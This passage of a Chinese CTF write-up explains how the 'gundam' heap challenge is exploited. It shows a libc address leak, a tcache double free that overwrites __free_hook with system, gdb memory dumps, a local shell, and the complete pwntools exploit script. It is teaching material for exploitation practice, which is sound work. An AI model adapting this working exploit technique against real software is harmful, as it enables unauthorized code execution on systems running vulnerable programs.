可以看到程序并没有在字符串后加 ‘\x00’ 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。

[*] libc base: 0x7ffff79f8000
[*] __free_hook address: 0x7ffff7dd48a8
[*] system address: 0x7ffff7a3fdc0

overwrite

def overwrite():
    destroy(2)
    destroy(1)
    destroy(0)
    destroy(0)      # double free

    blow_up()
    build(p64(__free_hook_addr))    # 0
    build('/bin/sh\x00')            # 1
    build(p64(system_addr))         # 2

触发 double free 时:

gdb-peda$ x/30gx 0x0000555555757000+0x10
0x555555757010: 0x0000000000000000      0x0400000000000000  <-- counts
0x555555757020: 0x0000000000000000      0x0000000000000000
0x555555757030: 0x0000000000000000      0x0000000000000000
0x555555757040: 0x0000000000000000      0x0000000000000000
0x555555757050: 0x0000000000000000      0x0000000000000000
0x555555757060: 0x0000000000000000      0x0000000000000000
0x555555757070: 0x0000000000000000      0x0000000000000000
0x555555757080: 0x0000000000000000      0x0000000000000000
0x555555757090: 0x0000000000000000      0x0000000000000000
0x5555557570a0: 0x0000000000000000      0x0000000000000000
0x5555557570b0: 0x0000000000000000      0x0000000000000000
0x5555557570c0: 0x0000000000000000      0x0000555555757a10  <-- entries
0x5555557570d0: 0x0000000000000000      0x0000000000000000
0x5555557570e0: 0x0000000000000000      0x0000000000000000
0x5555557570f0: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000      0x0000000000000111
0x555555757a10: 0x0000555555757a10      0x0000000000000000  <-- fd pointer
0x555555757a20: 0x0000000000000000      0x0000000000000000

其 fd 指针指向了它自己。

接下来的 malloc 将改写 __free_hook 的地址:

gdb-peda$ x/6gx 0x0000555555757a10-0x10
0x555555757a00: 0x0000000000000000      0x0000000000000111
0x555555757a10: 0x0068732f6e69622f      0x000000000000000a
0x555555757a20: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd48a8
0x7ffff7dd48a8 <__free_hook>:   0x00007ffff7a3fdc0
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>

pwn

def pwn():
    destroy(1)
    io.interactive()

Bingo!!!

$ python exp.py 
[+] Starting local process './gundam': pid 7264
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./gundam'], env={'LD_PRELOAD':'./libc.so.6'})
#elf = ELF('gundam')
libc = ELF('libc.so.6')

def build(name):
    io.sendlineafter("choice : ", '1')
    io.sendlineafter("gundam :", name)
    io.sendlineafter("gundam :", '0')

def visit():
    io.sendlineafter("choice : ", '2')

def destroy(idx):
    io.sendlineafter("choice : ", '3')
    io.sendlineafter("Destory:", str(idx))

def blow_up():
    io.sendlineafter("choice : ", '4')

def leak():
    global __free_hook_addr
    global system_addr

    for i in range(9):
        build('A'*7)
    for i in range(7):
        destroy(i)      # tcache bin
    destroy(7)          # unsorted bin

    blow_up()
    for i in range(8):
        build('A'*7)

    visit()
    leak =  u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
    libc_base = leak - 0x3dac78     # 0x3dac78 = libc_base - leak
    __free_hook_addr = libc_base + libc.symbols['__free_hook']
    system_addr = libc_base + libc.symbols['system']

    log.info("libc base: 0x%x" % libc_base)
    log.info("__free_hook address: 0x%x" % __free_hook_addr)
    log.info("system address: 0x%x" % system_addr)

def overwrite():
    destroy(2)
    destroy(1)
    destroy(0)
    destroy(0)      # double free

    blow_up()
    build(p64(__free_hook_addr))    # 0
    build('/bin/sh\x00')            # 1
    build(p64(system_addr))         # 2

def pwn():
    destroy(1)
    io.interactive()

if __name__ == "__main__":
    leak()
    overwrite()
    pwn()

参考资料